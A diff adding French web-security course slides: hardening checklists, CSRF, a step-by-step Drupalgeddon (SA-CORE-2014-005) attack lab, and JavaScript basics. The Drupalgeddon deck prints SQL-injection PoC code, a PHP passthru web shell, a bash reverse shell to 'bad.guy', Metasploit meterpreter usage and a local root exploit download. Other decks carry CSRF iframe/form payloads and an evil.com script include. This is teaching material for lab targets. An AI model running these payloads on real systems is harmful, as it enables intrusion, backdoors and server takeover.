+
+* [OzSSI](http://www.ssi.gouv.fr/agence/cybersecurite/ozssi/)
+  * [Zomm sur les OzSSI](http://www.ssi.gouv.fr/actualite/zoom-sur-les-ozssi/)
+* [OSSIR](http://www.ossir.org/)
+* [CLUSIF](https://www.clusif.asso.fr/)
+  * [CLUSIR Rhône Alpes](http://www.clusir-rha.fr/)
+  * CLUSIR Auvergne?
+
+
+## Best Practices / Cheat sheets / Checklists
+
+* Généraliste
+  * http://www.sans.org/critical-security-controls/
+  * [The Joel Test: 12 Steps to Better Code](http://www.joelonsoftware.com/articles/fog0000000043.html)
+* OWASP
+  * [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls)
+* Linux
+  * https://www.sans.org/media/score/checklists/linuxchecklist.pdf
+
+
+## Best Practices / Cheat sheets / Checklists
+
+* Apache
+  * http://httpd.apache.org/docs/2.4/misc/security_tips.html
+  * http://geekflare.com/10-best-practices-to-secure-and-harden-your-apache-web-server/
+  * http://www.tecmint.com/apache-security-tips/
+  * http://blogs.reliablepenguin.com/2012/10/09/apache-configuration-best-practicies
+
+
+## Best Practices / Cheat sheets / Checklists
+
+* Nginx
+  * http://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html
+* Wordpress
+  * http://mazenovi.github.io/blog/2015/01/28/securing-wordpress/
+* Drupal
+  * https://www.drupal.org/project/security_review
+
+
+#### Proposition d'Hervé Schauer
+
+[HSC Newsletter](https://www.hsc.com.vn/en/help-center/other-services/hsc-newsletter)  --  N°135
+
+* Utilisez-vous systématiquement des requêtes SQL préparées (connues aussi sous le nom de requêtes paramétrées) ?
+* Utilisez-vous la gestion de session d'un cadriciel/bibliothèque fiable ?
+* Encodez-vous systématiquement les valeurs venant de l'extérieur (utilisateur, base de données...) avant de les envoyer vers l'affichage ?
+* Utilisez-vous SSL/TLS sur la totalité de votre site ?
+
+
+#### Proposition d'Hervé Schauer
+
+* Stockez-vous et vérifiez-vous les mots de passe utilisateurs uniquement en les dérivant avec *sha256crypt*, *bcrypt*, *scrypt*, *pbkdf2(sha256)* ou *argon2*?
+* Évitez-vous systématiquement d'utiliser les entrées utilisateurs pour des appels systèmes ?
+* Stockez-vous les téléchargements utilisateurs vers l'application (uploads) dans un environnement restreint ?
+
+
+#### Proposition d'Hervé Schauer
+
+* Séparez-vous les paramètres secrets du code ?
+* Faites-vous un suivi de version de tout votre code ?
+* Gérez-vous vos dépendances et leur sécurité ?
+
+Note:
+- c'est le web beaucoup de gens ne savent pas ce qu'ils racontent ...
+  - faire marcher la tête et ne pas totu copier / coller sur un espace de prod
+- pensez la sécurité au moment du choix du design pattern
+
+
+## utiliser tls
+
+* ne jamais utiliser FTP
+  * ftps et sftp fonctionnent parfaitement
+  * rsync et scp aussi
+    * chrooter un user ssh
+      * https://stdout.cowthink.org/setup-chroot-jails-in-linux-and-only-allow-sftp/
+* généraliser l'utilisation d'https
+  * [Google favorise les sites en HTTPS, c'est un critère officiel du référencement naturel](http://www.webrankinfo.com/dossiers/conseils/https-critere-seo)
+* désactiver les services de types POP3, IMAP, SMTP
+  * utiliser les versions SSLifiées
+
+
+#### [ISPConfig](http://www.ispconfig.org/page/home.html)
+
+![ISPConfig](images/anticiper/ispconfig.jpg "ISPConfig")
+
+[tuto d'install](https://www.howtoforge.com/tutorials/ispconfig/)
+
+Note:
+- suExec, suPHP, chrooting avec jailkit, rkhunter
+- [auto install](https://www.howtoforge.com/tutorial/ispconfig-install-script-debian/)
+
+
+## Symfony
+
+* A1  
+  * ORM (Doctrine / Propel)
+    * SQLi
+  * librairie system / Service Parameters typés
+    * Command injection
+  * namespace / service
+    * LFI / RFI
+
+
+## Symfony
+
+* A2  
+  * FOSUserBundle
+* A3
+  * twig
+    * échappe par défaut
+* A4  
+  * security.yml
+    * Firewall donnant une vue globale sur la sécurité des objets
+
+
+## Symfony
+
+* A5
+  * configuration par défaut secure
+* A6
+  * [igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
+* A7
+  * système d'ACL
+
+
+## Symfony
+
+* A8
+  * système de jeton par défaut
+    * pour totue soumission de formulaire
+* A9
+  * basé sur github & composer
+* A10
+  * Service Parameters typés
+
+
+## Parler sécurité
+
+* Revue de code
+* Rendre les checklists collaboratives
+* Bug bounty
+  * <i class="fa fa-beer"></i> Bières, restos, sandwichs
+  * ce que font les grands
+    * google, FB, etc ...
+* DevOps
+  * Be fullstack
+* [Discuter les modèles (exposer ou cacher)](https://en.wikipedia.org/wiki/Open-source_software_security)
+
+Note:
+- si Microsoft ouvre tout ce n'est pas un hasard c'est que ca marche
+
+
+#### Positiver
+
+![Be positive](images/anticiper/bepositive.jpg "Be positive")<!-- .element width="50%" -->
+
+Note:
+- effort supplémentairer à moyen constant
+  - pas le choix sur la présentation
+
+
+## Utiliser des outils de gestion de dépendance
+
+* Bonne pratique
+  * permet d'éviter des problèmes de compatibilités
+  * permet une mise à jour globale
+  * permet un meilleur déploiement
+* [composer](https://getcomposer.org/) (PHP)
+* [bower](http://bower.io/) (Javascript client)
+* [npm](https://www.npmjs.com/) (Javascript server)
+* [pip](https://pypi.python.org/pypi/pip) (Python)
+* [gems](https://rubygems.org/) (Ruby)
+
+
+## Analyser le code
+
+* pas d'outil miracle
+  * peut être dans les très spécialisés et les très chers?
+* statique
+  * lecture du code
+    * grep -nR
+    * [netbeans](https://netbeans.org/downloads/)
+      * ctrl+clic
+    * [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
+
+
+## Analyser le code
+
+* dynamique
+  * exécution du code
+    * [OWASP Testing Project](https://www.owasp.org/index.php/OWASP_Testing_Project)
+      * ~ Fuzzing
+    * [XDebug](http://xdebug.org/)
+    * [KCacheGrinder](http://kcachegrind.sourceforge.net/html/Home.html)
+    * [BlackFiler Profiler](https://blackfire.io/)
+
+Note:
+- les outils de gestion de version rendent services
+- long et souvent très spécialisé
+
+
+## Tests & Intégration continue (CI)
+
+* utiliser un outil de versionning
+  * [git](https://git-scm.com/), [svn](https://subversion.apache.org/), [mercurial](https://www.mercurial-scm.org/wiki/)
+  * rétrochronologie des vulnérabilités
+* utiliser les environnements
+  * prod, dev, test, staging, deploy, ...
+* les secrets de la CI
+* [vault by HashiCorp](https://www.vaultproject.io/)
+
+évite le leak de configuration
+
+
+## Tests & Intégration continue (CI)
+
+* tester
+  * intégrer la sécurité au tests
+    * aspect fonctionnel
+      * [behat](http://docs.behat.org/en/v2.5/)
+      * [casperjs](http://casperjs.org/) sur la base de [phantomjs](http://phantomjs.org/)
+      * [selenium](http://www.seleniumhq.org/)
+* jouer les tests régulièrement via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ...
+
+
+## Déploiement logiciel
+
+* via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ...
+* [githook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)
+* [capistrano](http://capistranorb.com/)
+  * [capifony](http://capifony.org/)
+    * [<i class="fa fa-github"></i> capistrano/symfony](https://github.com/capistrano/symfony)
+* [Fabric](http://www.fabfile.org/)
+* bash <3
+
+
+## filtrer
+
+* [ngnix](http://nginx.org/)
+  * permet de filtrer rapidement et efficacement
+* [Web application Firewal (WAF)](http://www.cert-ist.com/pub/files/Document_Cert-IST_000333.pdf)
+  * [mod_security](https://www.modsecurity.org/)
+    * permet entre autre de logger la méthode post facilement
+      * gare à l'espace disque
+    * [<i class="fa fa-github"></i> SpiderLabs/owasp-modsecurity-crs](https://github.com/SpiderLabs/owasp-modsecurity-crs)
+      * expressions régulières complexes
+
+
+## Monitorer
+
+* Avoir un outil d'analyse de log
+  * permet de connaître le bruit
+  * beaucoup d'attaques a priori
+
+
+## Etudier des pistes radicales
+
+* déporter le back office
+* utiliser la génération de code
+  * [<i class="fa fa-github"></i> sculpin/sculpin](https://sculpin.io)
+  * [<i class="fa fa-github"></i> getpelican/pelican](https://github.com/getpelican/pelican)
+* interdire l'upload de fichier
+* utiliser markdown (pure) pour la mise en forme
+  * ou tout autre système de texte enrichi
+* ne rien mettre sur le web
+
+
+## S'entrainer
+
+* jamais sur de la prod
+  * ni la vôtre
+  * ni celle des concurrents
+* Challenges
+  * http://www.root-me.org/
+  * https://www.newbiecontest.org/
+  * https://github.com/ctfs
+
+
+## S'entrainer
+
+* VM
+  * http://www.bonsai-sec.com/en/research/moth.php
+  * http://sourceforge.net/projects/lampsecurity/
+  * http://hackxor.sourceforge.net/cgi-bin/index.pl
+  * http://sourceforge.net/projects/exploitcoilvuln/
+  * https://www.vulnhub.com/entry/metasploitable-1,28/
+  * http://sourceforge.net/projects/metasploitable/
+
+
+## S'entrainer
+
+* Weak apps
+  * http://sourceforge.net/projects/mutillidae/
+  * http://sechow.com/bricks/
+  * https://www.pentesterlab.com/
+  * http://hackingdojo.com/dojo-media/
+
+
+## Conclusion
+
+<div style="text-align: center">
+  ![Conseil de Jedi](images/anticiper/yoda.gif "Conseil de Jedi")
+</div>
+
+
+## Conclusion
+
+* <i class="fa fa-bullhorn"></i> une veille efficace tu maintiendras
+* <i class="fa fa-bullhorn"></i> toutes les mises à jour asap tu effectueras
+* <i class="fa fa-bullhorn"></i> toutes tes entrées tu filteras
+* <i class="fa fa-bullhorn"></i> toutes tes sorties tu échapperas
+* <i class="fa fa-bullhorn"></i> par listes blanches tu réfléchiras
+* <i class="fa fa-bullhorn"></i> les bonnes pratiques tu étudieras
+* <i class="fa fa-bullhorn"></i> un système fiable de déploiement tu utiliseras
+* <i class="fa fa-bullhorn"></i> avec ton équipe de sécurité tu parleras
+
+Note:
+- cacher n'est pas protégé
diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md
new file mode 100644
index 0000000000000000000000000000000000000000..74913da7617ee56f7dfe94faef9c430f9647d962
--- /dev/null
+++ b/content/slides/1337/md/csrf.md
@@ -0,0 +1,222 @@
+# CSRF
+
+## aka Cross-Site Request Forgery
+
+
+### <i class="fa fa-cogs"></i> Principe
+
+* affecte toute ressource disponible directement
+  * sans étape intermédiaire
+    * avec authentification
+      * usurpation de session
+    * ou pas
+      * redirection arbitraire
+
+
+### <i class="fa fa-cogs"></i> Principe
+
+* le but est de rediriger un utilisateur vers une url
+
+  * à l'insu de son plein gré
+
+* pour qu'il clique tous les coups sont permis
+
+
+### <i class="fa fa-user-secret"></i> Que peut on faire?
+
+* exécuter des opérations avec les permissions d'un autre utilisateur
+* clickjacking
+* spam
+
+Note:
+- l'action avec privilège
+  - urls connues (CMS, ...)
+    - on espère que l'utilisateur est logué
+- spam de commentaire
+  - urls connues (CMS, ...)
+
+
+## Mode opératoire
+
+<div style="text-align: center">
+  ![alt text](images/csrf/csrf.png "CSRF")
+</div>
+
+Note:
+- rappel ici mail, mais aussi
+  - XSS
+  - lien déguisé
+  - url shortner
+
+
+## Différentes techniques
+
+* Url ou formulaires forgés relayés via XSS
+* redirection arbitraire via XSS
+
+* Social engineering
+  * initulé de lien malicieux
+  * url shortner
+  * le lien image déguisé
+
+* Phishing
+  * par mail par exemple
+    * approche probabiliste
+
+
+## Différentes techniques
+
+* Modficiation de l'overlay en css
+  * likejacking ou +1jacking
+    * [Arrêtez de vous faire avoir sur Facebook !!! ](http://www.mycommunitymanager.fr/arretez-de-vous-faire-avoir-sur-facebook/)
+
+```css
+a#malice {
+  display: block;
+  width: 100%;
+  height: 100%;
+  position: absolute;
+  top: 0;
+  bottom: 0;
+  opacity: 0.001;
+}
+```
+
+Note:
+- XSS réfléchi ou stocké ca marche
+  - ya toujours un con qui clique
+- insolvable click jacking insolvable
+  - aucun moyen de distinguer les like légitimes
+    - ils proviennet tous d'un serveur externe à facebook
+      - possibilité de blacklist pour des sites réputés frauduleux
+
+
+### [CSRF stored - security low](http://dv.wa/vulnerabilities/csrf/)  
+
+url vulnérable
+
+```http
+http://dv.wa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
+```
+
+passage de paramètres via GET en injectant
+
+```http
+<iframe
+  src="javascript:window.location='http://dv.wa/vulnerabilities/csrf/?password_new=1337&password_conf=1337&Change=Change';"
+  height="0" width="0" style="border:0;">
+</iframe>
+```
+
+via POST avec en scriptant
+
+```http
+<form action="http://dv.wa/vulnerabilities/csrf/admin.php" method="post" id="formid"
+  onload="document.getElementById('formid').submit();">
+  <input type="hidden" name="password_new" value="1337"/>
+  <input type="hidden" name="password_conf" value="1337"/>
+</form>
+```
+
+Note:
+- analyser la requête de changement de mot de passe avec burp
+- forger une url
+- forger un form
+  - injecter via XSS stored par exemple
+- problème de l'action silencieuse et aveugle
+  - on ne sait pas sur qui ca marche
+  - si on a une liste des utilisateurs du site le brute force est un option
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* **Fausses Bonnes Idées**
+  * utiliser la méthode POST
+  * vérifier le referer (ou n'importe quelle autre en-tête)
+    * [CSRF stored - security medium](http://dv.wa/vulnerabilities/csrf/)  
+* Double Submit Pattern
+  * [CSRF stored - security high](http://dv.wa/vulnerabilities/csrf/)
+
+
+## <i class="fa fa-medkit"></i> Synchronizer Token Pattern     
+
+<div style="text-align:center">
+  ![alt text](images/csrf/csrf-stp.png "CSRF")
+</div>
+
+
+## <i class="fa fa-medkit"></i> Synchronizer Token Pattern     
+
+* token de session
+  * jeton dans un formulaire OU dans l'url ET dans la session utilisateur
+    * avec éventuellement une salaison propre à l'utilisateur comme l'IP par exemple
+      * on préserve ainsi le token et on cache un manque d'entropie éventuel
+
+```http
+<input type="hidden" name="csrftoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt">
+```
+
+
+## <i class="fa fa-medkit"></i> Synchronizer Token Pattern     
+
+* <i class="fa fa-frown-o"></i> compliqué avec une utilisation massive de XMLHttpRequest
+* <i class="fa fa-frown-o"></i> possibilité de [jetons malins via fixation de session via le referer](http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html) ou de brute force
+  * utiliser des nonces pourrait être une solution
+
+
+## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
+
+* adapté à une utilisation massive de JS
+* basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy)
+
+* A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur
+
+```js
+Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
+```
+
+
+## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
+
+* JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
+
+```js
+X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
+```
+
+* Le serveur vérifie la validité du token
+
+
+## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
+
+[http://dvwa.com/vulnerabilities/captcha](http://dvwa.com/vulnerabilities/captcha)
+
+* Security level: low
+  * action configurée en 2 étapes
+    * Etape 1
+      * validation du captcha
+    * Etape 2
+      * exécution de l'action
+  * en modifiant le paramètre step à 2 on bypass le captcha
+
+
+## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
+
+* Security level: medium
+  * action configurée en 3 étapes
+    * Etape 1
+      * validation du captcha
+    * Etape 2
+      * Confirmation de l'action
+    * Etape 3
+      * exécution de l'action
+  * en modifiant le paramètre step à 2 et en ajoutant Change=Change on bypass le captcha
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Côté client
+  * [RequestPolicy](https://addons.mozilla.org/fr/firefox/addon/requestpolicy) protège mais peut empêcher certains sites de fonctionner
+  * [CsFire](https://addons.mozilla.org/fr/firefox/addon/csfire) protège un peu en enlevant toute information d'authentification pour les requêtes cross-site
+  * [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de de sites non sûrs
+  * [Self-Destructing Cookies](https://addons.mozilla.org/fr/firefox/addon/self-destructing-cookies) permet de réduire la fenêtre d'attaque en supprimant les cookies dès qu'ils ne sont plus associé à un onglet actif
diff --git a/content/slides/1337/md/drupalgeddon.md b/content/slides/1337/md/drupalgeddon.md
new file mode 100644
index 0000000000000000000000000000000000000000..df2fdc6806aef607f80923c9084f82217cb91607
--- /dev/null
+++ b/content/slides/1337/md/drupalgeddon.md
@@ -0,0 +1,328 @@
+## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->
+
+
+## système vulnérable
+
+* Wheezy [Debian 7.0.0 – amd64 – netinst](http://www.debiantutorials.com/download-debian-iso/)
+  * paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
+    * le couper juste après la conf du DHCP à  l'install
+  * à l'installation
+    * surtout pas d'upgrade pour garder un kernel vulnérable
+
+** Nous disposons d'une machine vulnérable à un **
+
+** [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/) **
+
+
+## Drupal vulnérable
+
+* [drupal 7.X](https://www.drupal.org/drupal-7.31-release-notes) < 7.32 déployé, configuré selon la [doc](https://www.drupal.org/node/394704)
+
+```shell
+$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\  -f1`
+$ chown -R $HTTPDUSER sites/default/files
+$ chmod -R 0700 sites/default/files
+```
+
+* les images [ova sont là](https://gitlab.com/mazenovi/webSec)
+
+
+## Trouver un système vulnérable sur le www
+
+[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)
+
+[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)
+
+
+## Trouver un système vulnérable sur le www
+
+* ne filtrer que les drupal vulnérables
+  * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)
+
+```http
+$ python cmsmap.py -t http://drup.al
+...
+[H] Drupal Vulnerable to SA-CORE-2014-005
+...
+```
+
+
+## La faille
+
+* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
+  * Version: 7.x < 7.32
+  * Date: 2014-October-15
+  * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)
+
+
+## La faille
+
+[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
+
+```php
+foreach (array_filter($args, 'is_array') as $key => $data) {         
+  $new_keys = array();
+  foreach ($data as $i => $value) {   
+    $new_keys[$key . '_' . $i] = $value
+  }
+}
+```
+
+* $i est un index de tableau de variables HTTP
+* le contenu des clés de $new_keys est utilisé comme paramètre d'une requête SQL
+  * possibilité d'injecter du code SQL dans les clés des paramètres HTTP
+
+
+## La faille
+
+[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
+
+```php
+foreach (array_filter($args, 'is_array') as $key => $data) {         
+  $new_keys = array();
+  /* patched version begin */
+  foreach (array_values($data) as $i => $value) {
+  /* patched version end */
+    $new_keys[$key . '_' . $i] = $value
+  }
+}
+```
+
+* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique
+
+Note:
+- combien de dev PHP?
+- combien utilisent array_values()
+- forcer le type des paramètres est une bonne option
+- debugging et dump variable à creuser
+  - code drupal compliqué ou mal fait
+
+
+## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
+
+* 16 sept. 2014 : notification à Drupal
+* 15 oct. 2014 : publication du correctif
+* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
+* 3 nov. 2014 : release de deux exploits publiques
+
+
+## Timeline côté attaquant
+
+* 16 sept. 2014 : notification à Drupal
+* 15 oct. 2014 : publication du correctif
+* 15 oct. 2014, 4h après : exploitations en cours…
+* 16 oct. 2014 : de très nombreux Drupal compromis…
+
+
+## Exploitation manuelle
+
+remplacer
+
+```html
+<input id="edit-name" name="name" type="text">
+```
+
+par
+
+```html
+<input name="name[0; DELETE FROM flood;;#  ]" type="text" value="test3" />
+<input name="name[0]" type="text" value="test" />
+```
+
+![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->
+
+Note:
+- mettre un mot de passe
+
+
+## PoC
+
+[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)
+
+```php
+$url = $argv[1];
+$sql = $argv[2];
+$sql =   str_replace('{', '\' , CHAR(123), \'', $sql);
+$sql =   str_replace('}', '\' , CHAR(125), \'', $sql);
+$sql =   str_replace('[', '\' , CHAR(91), \'', $sql);
+$sql =   str_replace(']', '\' , CHAR(93), \'', $sql);
+$sql = urlencode($sql);
+
+//Send a request to the user login form
+$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
+$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
+$params = array(
+    'http' => array(
+    'method' => 'POST',
+    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
+    'content' => $post_data
+  )
+);
+$ctx = stream_context_create($params);
+$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
+```
+
+```shell
+$ php attack/inject-sql.php 'http&#58;//drup.al' 'DELETE FROM flood'
+```
+
+
+## Admin user
+
+* [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/)
+
+```shell
+python drup4l_7_31_SqlInj_add_admin.py -t  http&#58;//drup.al -u 1337 -p 1337
+```
+* représente 26% d'utilisation de la faille
+  * industrialisé pour vendre du viagra
+
+![viagra](images/drupalgeddon/viagra.jpg "viagra")<!-- .element class="fragment roll-in" -->
+
+
+## Backdoor
+
+rerésente 68% des attaques
+
+Simple backdoor shell
+
+```php
+$malicious_file_to_upload = '&lt;?php
+if(isset($_REQUEST["cmd"])){
+  echo "&lt;pre&gt;";
+  passthru($_REQUEST["cmd"]);
+  die;
+}
+phpinfo();';
+```
+
+* [passthru()](http://php.net/manual/fr/function.passthru.php)
+
+* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)
+
+
+## Backdoor
+
+* Architecture Drupal
+  * menu_router
+    * un url = un callback + un tableau d'arguments sérialisés
+
+```sql
+insert into menu_router values ('backdoor','','','file_put_contents',
+$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
+```
+
+Payload
+
+```php
+$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
+$attack_payload = serialize($attack_payload);
+```
+
+[http://drup.al/backdoor](http://drup.al/backdoor)
+
+Note:
+- bien entendu on appelle pas ça backdoor
+- en réalité l'exploit de Matt Korostoff marche avec un cookie
+- deux ou trois échappement sont nécessaire
+- même pas besoin créer le compte admin hein ...
+  - automatisable à souhait
+
+
+## exploitation
+
+```shell
+$ php attack/exploit.php 'http&#58;//drup.al'
+```
+
+* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
+  * affiche phpinfo()
+* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
+  * affiche les paramètres SQL
+
+
+## exploitation
+
+```shell
+nc -lvvp 1337
+```
+
+met le poste de l'attaquant en écoute sur le port 1337
+
+```http
+http://drup.al/sites/default/files/backdoor.php?
+cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
+```
+
+en version encodée
+
+```http
+http://drup.al/sites/default/files/backdoor.php?
+cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```
+
+* connecte le serveur sur l'IP de l'attaquant
+
+Note:
+- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
+- Bind shell improbable
+- ICMP Reverse Shell passe par le protocole ICMP
+  - analyse des ping wireshark
+  - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
+    - sur ma maquette ca marche aussi sur le port 80 ...
+
+
+## metasploit
+
+[exploit Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb)
+
+```shell
+msf > use exploit/multi/http/drupal_drupageddon
+msf exploit(drupal_drupageddon) > set RHOST drup.al
+msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp
+msf exploit(drupal_drupageddon) > set LHOST bad.guy
+msf exploit(drupal_drupageddon) > exploit
+[&#10035;] Started reverse handler on 172.16.76.145:4444
+meterpreter > shell
+whoami
+www-data
+```
+
+![YES](images/drupalgeddon/yes.jpg "YES")<!-- .element class="fragment roll-in" width="200px"-->
+
+Note:
+- l'autocomplétion avec tabulation
+- Port à rerouter of course
+
+
+## escalade de privilèges
+
+* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
+  * environ tous les 2 ans
+    * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
+  * fonctionne sur les archi 64bits uniquement
+  * kernel de 2.6.37 à 3.8.10
+
+```shell
+$ wget www.tux-planet.fr/public/hack/exploits/kernel/semtex.c
+$ gcc -O2 semtex.c
+$ ./a.out
+$ whoami
+```
+
+
+## W00T
+
+![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->
+
+
+## Moralité
+
+* un malheur n'arrive jamais seul
+  * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
+* tout doit être à jour
+  * système, lib, cms, services, ...
+* mieux vaut s'appuyer sur des communautés
+  * réactives
+  * préoccupées par la sécurité
+* bien suivre les mises à jour des produits
+  * et patcher asap quand nécessaire
diff --git a/content/slides/1337/md/js.md b/content/slides/1337/md/js.md
new file mode 100644
index 0000000000000000000000000000000000000000..f8eb7da6557ce28073eef8787755258f6caf7a0f
--- /dev/null
+++ b/content/slides/1337/md/js.md
@@ -0,0 +1,142 @@
+# javascript
+
+## aka ECMAScript
+
+
+## Javascript
+
+* 95 netscape livescript
+* interpréteur js propre au navigateur
+  * ie s'arrête de charger la page en cas d'erreur
+  * ff ou chrome essaient de continuer l'exécution
+* sensible à la casse
+* asynchrone
+
+
+## Javascript
+
+* var contexte
+  * var dans le sciprt accessible partout y compris dans les fonctionns
+  * var dans les fonctions scope restreint à la fonction
+  * sans le var on déclare forcément global
+    * y compris dans une variable
+
+Note:
+- on peut avoir du js dans un pdf (adobe reader a donc un interpréteur js)
+- Google a mis le pied sur l'accélérateur avec la sortie de chrome
+    - ca ve de mieuix en mieux en terme de comatibilité cross browser
+
+
+## Les événements
+
+* déclenchement de traitements
+  * interaction utilisateur
+
+* événements de là page
+
+
+## Les événements
+
+* onload
+  * quand tous les éléments sont chargés
+    * il est alors possible de modifier les contenus
+
+* onunload
+  * quand on quitte le navigateur
+    * abandonner car trop intrusif
+
+
+## Les événements
+
+* onerror
+  * en cas d'échec
+    * chargement d'image ou d'iframe par exemple
+
+* onsubmit
+  * quand un formulaire est soumis
+    * changer l'url d'un formulaire à la volée
+
+
+## Le DOM
+
+[<i class="fa fa-book" aria-hidden="true"></i> document](https://developer.mozilla.org/en-US/docs/Web/API/Document)
+
+* Document Object Model
+    * document.referer (SEO)
+* id unique getElementById
+    * renvoie un résultat
+* getElementsByTagname
+    * renvoie un tableau d'elements
+    * la page en cours est le contexte
+        * history.back() c'est un autre contexte
+        * frame ...
+
+
+## Le DOM
+
+* document.cookie
+    * values = document.cookie.split(';')
+    * "userid=maze;expires=friday 29 sept"
+* souvent utilisé pour exploiter les XSS
+    * changer le contenu de la page
+    * rediriger la page
+    * changer l'url d'un formulaire
+
+
+## vrac
+
+[<i class="fa fa-book" aria-hidden="true"></i> window](https://developer.mozilla.org/en-US/docs/Web/API/Window) représente l'environement du navigateurs
+
+```js
+window.alert('PoC')
+```
+
+```js
+console.log('plus silencieux car visible avec la console only')
+```
+
+```js
+alert(document.cookie); // affiche le contenu du cookie de session en pop up
+window.location = "http://bad.guy"; // redirige vers http://bad.guy
+```
+
+Note:
+- redirection sur une  page identique
+    - maitrisée par nous qui renvoie au serveur oriignal après avoir récup le login / mot de passe
+
+
+## inclusion
+
+dans le corps de la page
+
+```js
+<script>alert('Poc');</script>
+```
+
+dans un fichier externe
+
+```js
+<script src="http://evil.com/payload.js"></script>
+```
+
+directement dans les événements associés à un élément du DOM
+
+```js
+<a onclick="javascipt:alert('clicked');">peacefull link</a>
+<img onload="javascript:console.log('quieter');" />
+```
+
+
+## AJAX / XMLHTTPRequest
+
+* associé au web 2.0 (2006)
+* existe depuis le début HTTP 1.0 (1989)
+  * google map éléments de la carte chargés et rafraichis au déplacement
+* permet un appel asynchrone d'url
+  * sans recharger la page
+  * le résultat reçu est utilisable par js
+
